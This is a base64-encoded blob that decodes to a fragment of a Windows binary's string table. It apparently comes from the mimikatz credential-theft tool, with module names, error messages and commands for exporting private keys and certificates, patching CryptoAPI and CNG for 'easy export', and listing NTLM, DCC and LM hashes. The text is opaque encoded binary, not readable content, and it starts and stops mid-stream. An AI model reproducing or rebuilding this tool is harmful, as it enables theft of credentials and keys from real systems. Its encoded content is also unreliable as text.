AABAACAAJQB3AFoAAABuAHUAbABsACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAABkAGUAcwBfAHAAbABhAGkAbgAgACAAIAAgACAAIAAgACAAAABkAGUAcwBfAGMAYgBjAF8AYwByAGMAIAAgACAAIAAgACAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADQAIAAgACAAIAAgACAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADUAIAAgACAAIAAgACAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADUAXwBuAHQAIAAgACAAAAByAGMANABfAHAAbABhAGkAbgAgACAAIAAgACAAIAAgACAAAAByAGMANABfAHAAbABhAGkAbgAyACAAIAAgACAAIAAgACAAAAByAGMANABfAHAAbABhAGkAbgBfAGUAeABwACAAIAAgACAAAAByAGMANABfAGwAbQAgACAAIAAgACAAIAAgACAAIAAgACAAAAByAGMANABfAG0AZAA0ACAAIAAgACAAIAAgACAAIAAgACAAAAByAGMANABfAHMAaABhACAAIAAgACAAIAAgACAAIAAgACAAAAByAGMANABfAGgAbQBhAGMAXwBuAHQAIAAgACAAIAAgACAAAAByAGMANABfAGgAbQBhAGMAXwBuAHQAXwBlAHgAcAAgACAAAAByAGMANABfAHAAbABhAGkAbgBfAG8AbABkACAAIAAgACAAAAByAGMANABfAHAAbABhAGkAbgBfAG8AbABkAF8AZQB4AHAAAAByAGMANABfAGgAbQBhAGMAXwBvAGwAZAAgACAAIAAgACAAAAByAGMANABfAGgAbQBhAGMAXwBvAGwAZABfAGUAeABwACAAAABhAGUAcwAxADIAOABfAGgAbQBhAGMAXwBwAGwAYQBpAG4AAABhAGUAcwAyADUANgBfAGgAbQBhAGMAXwBwAGwAYQBpAG4AAABhAGUAcwAxADIAOABfAGgAbQBhAGMAIAAgACAAIAAgACAAAABhAGUAcwAyADUANgBfAGgAbQBhAGMAIAAgACAAIAAgACAAAAB1AG4AawBuAG8AdwAgACAAIAAgACAAIAAgACAAIAAgACAAAAB0e3t0e2l9dHtpfXR7AAAAe3R7e3R7aX10ewAAfXR7AH19fX0AAAAAdHt7dHt7e3R7AAAAfX19fX19AAB9fX0AdHt7dHsAAAB9dHt7dHtpfXR7b319fXR7AAAAAH0AAAB0e3t7dHtpfXR7AAB7e3R7aX10e299fX0AAAAAbwAAAH19AAB7dHtpfXR7ewAAAAB7dHtpfQAAAHR7aX0AAAAAdHtvfX0AAAB7dHtpfXR7b319AABzAHQAYQB0AHUAcwAAAAAAcwBpAG4AZwBsAGUAAAAAAHQAZQBzAHQAAAAAAGIAdQBzAHkAbABpAGcAaAB0AAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEkATgBQAFUAVABFAFYARQBOAFQAAAAAAEwASQBHAEgAVAAAAFMATwBVAE4ARAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABCAHUAcwB5AEwAaQBnAGgAdAAgAGQAZQB0AGUAYwB0AGUAZAAKAAAAAAAAAAoAWwAlADMAdQBdACAAJQBzAAoAIAAgAFYAZQBuAGQAbwByADoAIAAwAHgAJQAwADQAeAAsACAAUAByAG8AZAB1AGMAdAA6ACAAMAB4ACUAMAA0AHgALAAgAFYAZQByAHMAaQBvAG4AOgAgADAAeAAlADAANAB4AAoAIAAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAA6ACAAJQBzAAoAIAAgAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzACAAIAA6ACAAMAB4ACUAMAAyAHgAIAAoACAAAAAlAHMALAAgAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAIAAgACAAIABQAHIAbwBkAHUAYwB0AEkAZAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAEMAbwBzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABTAGUAcgBpAGEAbAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABzAHcAcgBlAGwAZQBhAHMAZQAgACAAOgAgACUAUwAKAAAAAAAgACAASwBlAGUAcABBAGwAaQB2AGUAIABUAGgAcgBlAGEAZAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAgACAAVwBvAHIAawBlAHIAIABUAGgAcgBlAGEAZAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHMAdABhAHQAdQBzACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABbACUAMwB1AF0AIAAlAHMAIAAoACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAGMAbwBsAG8AcgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAGkAbgBnAGwAZQAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAcAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABzAHQAbwByAGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAABrAGUAeQBzAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAABzAGMAAAAAAEwAaQBzAHQAIABzAG0AYQByAHQAYwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAAAAAAAAAAABIAGEAcwBoACAAYQAgAHAAYQBzAHMAdwBvAHIAZAAgAHcAaQB0AGgAIABvAHAAdABpAG8AbgBhAGwAIAB1AHMAZQByAG4AYQBtAGUAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABXAGkAbgBkAG8AdwBzACAAUwB5AHMAdABlAG0AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGYAaQBsAGUALAAgAFQATwBEAE8AOgByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlACkAAABzAGMAYQB1AHQAaAAAAAAAQwByAGUAYQB0AGUAIABhACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAYwBlAHIAdABpAHQAaQBmAGEAdABlACAAKABzAG0AYQByAHQAYwBhAHIAZAAgAGwAaQBrAGUAKQAgAGYAcgBvAG0AIABhACAAQwBBAAAAAABjAGUAcgB0AHQAbwBoAHcAAAAAAAAAAABUAHIAeQAgAHQAbwAgAGUAeABwAG8AcgB0ACAAYQAgAHMAbwBmAHQAdwBhAHIAZQAgAEMAQQAgAHQAbwAgAGEAIABjAHIAeQBwAHQAbwAgACgAdgBpAHIAdAB1AGEAbAApAGgAYQByAGQAdwBhAHIAZQAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAGUAeAB0AHIAYQBjAHQAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAARQB4AHQAcgBhAGMAdAAgAGsAZQB5AHMAIABmAHIAbwBtACAAQwBBAFAASQAgAFIAUwBBAC8AQQBFAFMAIABwAHIAbwB2AGkAZABlAHIAAAAAAGMAcgB5AHAAdABvAAAAAABDAHIAeQBwAHQAbwAgAE0AbwBkAHUAbABlAAAAcgBzAGEAZQBuAGgAAAAAAENQRXhwb3J0S2V5AAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAC0AMQAzAHMAIAAoACUAMgB1ACkAAAAAACAAJQBjAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAAAlADIAdQAuACAAJQAtADEAMwBzACAAKAAlADIAdQApACAALQAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAHMAdABvAHIAZQAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAIAA6ACAAJQBzACAAKAAlAHUAKQAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAAIAAgACUAdQAuACAAJQBzAAoAAAAgACAAIAAgACUAUwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABVAG4AaQBxAHUAZQAgAE4AYQBtAGUAAAAgACAAIAAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAAABjAG4AZwBwAHIAbwB2AGkAZABlAHIAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAGsAZQB5AHMAIAA6AAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAATABlAG4AZwB0AGgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AdgB0AHkAcABlAGYAcgBvAG0AbgBhAG0AZQAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAAAAAABTAEMAYQByAGQAJABBAGwAbABSAGUAYQBkAGUAcgBzAAAAAABTAG0AYQByAHQAQwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAOgAAAAAACgAgACoAIAAlAHMACgAAACAAIAAgAEEAVABSACAAIAA6ACAAAAAAACAAIAAgAE0AbwBkAGUAbAA6ACAAJQBzAAoAAAAgACAAIABQAFIASQBNACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABHAGUAdABDAGEAcgBkAFQAeQBwAGUAUAByAG8AdgBpAGQAZQByAE4AYQBtAGUAKABQAFIASQBNACkAOgAgADAAeAAlADAAOAB4AAoAAAAAACAAIAAgAEMAUwBQACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEMAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABLAFMAUAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEsAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABNAEQAUgBWACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAE0ARABSACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAQwBhAHIAZABzADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQARwBlAHQAQQB0AHQAcgBpAGIAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAG4AZQBjAHQAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQATABpAHMAdABSAGUAYQBkAGUAcgBzADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEUAcwB0AGEAYgBsAGkAcwBoAEMAbwBuAHQAZQB4AHQAOgAgADAAeAAlADAAOAB4AAoAAABtAGQAQwBhAGMAaABlAEEAZABkAEYAaQBsAGUACgAAAG0AZABDAGEAYwBoAGUATABvAG8AawB1AHAARgBpAGwAZQAKAAAAAABtAGQAQwBhAGMAaABlAEQAZQBsAGUAdABlAEYAaQBsAGUACgAAAAAAbQBkAFAAYQBkAEQAYQB0AGEACgAAAAAAPHJvb3Q+AAAgACAAIAAgAFwAJQAtADgAUwA6ACAAAAAlAFMAIAA7ACAAAAA8AGUAbQBwAHQAeQA+AAoAAAAAAAAAAABFAFIAUgBPAFIAIABlAG4AdQBtAGEAIAA7ACAAQwBhAHIAZABFAG4AdQBtAEYAaQBsAGUAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAIAAoACUAdQApAAAAQ2FyZEFjcXVpcmVDb250ZXh0AAAAAAAAIAAgACAAIABDAG8AbgB0AGEAaQBuAGUAcgBzADoAIAAlAHUAIAAvACAAJQB1ACAAKAAlAHUAIABiAHkAdABlACgAcwApACAAZgByAGUAZQApAAoAAAAAAAkAWwAlADIAdQBdACAAAABTAGkAZwBuAGEAdAB1AHIAZQA6ACAAAAAgAC0AIAAAAEUAeABjAGgAYQBuAGcAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABHAGUAdABDAG8AbgB0AGEAaQBuAGUAcgBJAG4AZgBvACgAJQB1ACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABDAGEAcgBkAFEAdQBlAHIAeQBGAHIAZQBlAFMAcABhAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAG1zY3AAAAAAbWltaWthdHoAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABEAGUAbABlAHQAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAG0AZAByACAAOwAgAEMAYQByAGQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABOAG8AIABDAGEAcgBkAEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgAGUAeABwAG8AcgB0ACAAaQBuACAAJwAlAHMAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAATABvAGEAZABMAGkAYgByAGEAcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABOAFQATABNADoAIAAAAAAARABDAEMAMQA6ACAAAAAAAEQAQwBDADIAOgAgAAAAAABMAE0AIAAgADoAIAAAAAAATQBEADUAIAA6ACAAAAAAAFMASABBADEAOgAgAAAAAABTAEgAQQAyADoAIAAAAAA